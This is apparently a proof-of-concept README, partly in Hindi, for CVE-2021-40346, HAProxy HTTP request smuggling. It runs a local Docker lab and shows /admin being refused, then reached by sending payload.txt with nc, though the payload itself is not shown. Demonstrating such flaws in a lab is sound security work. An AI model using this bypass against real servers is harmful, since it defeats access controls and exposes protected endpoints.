knqyf263/cve-2021-40346CVE-2021-40346 PoC (HAProxy HTTP स्मगलिंग)
CVE-2021-40346 PoC (HAProxy HTTP Smuggling)
केवल शैक्षिक उद्देश्यों के लिए
$ docker build -t cve-2021-40346 .
$ docker run --name poc -p 8000:80 -d --rm -it cve-2021-40346
4941e9f23508b497e4cbe334a75e7cdb84c83478522ed85f48db3477f97a6fb4
पुष्टि करें कि /admin अस्वीकृत है।
$ curl http://localhost:8000
hello
$ curl http://localhost:8000/admin
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
आपको लॉग में /admin नहीं दिखेगा। इसका मतलब है कि अनुरोध बैकएंड सर्वर तक नहीं पहुंचा क्योंकि HAProxy ने इसे अस्वीकार कर दिया।
$ docker logs poc
server start at port 8000
/
फिर, आप यह सुनिश्चित कर सकते हैं कि payload.txt द्वारा इसे बाइपास किया जा सकता है।
$ cat payload.txt | nc localhost 8000
HTTP/1.1 200 OK
content-type: text/plain
date: Wed, 08 Sep 2021 22:31:10 GMT
keep-alive: timeout=5
transfer-encoding: chunked
6
hello
0
आपको लॉग में /admin मिलेगा।
$ docker logs poc
server start at port 8000
/
/
/admin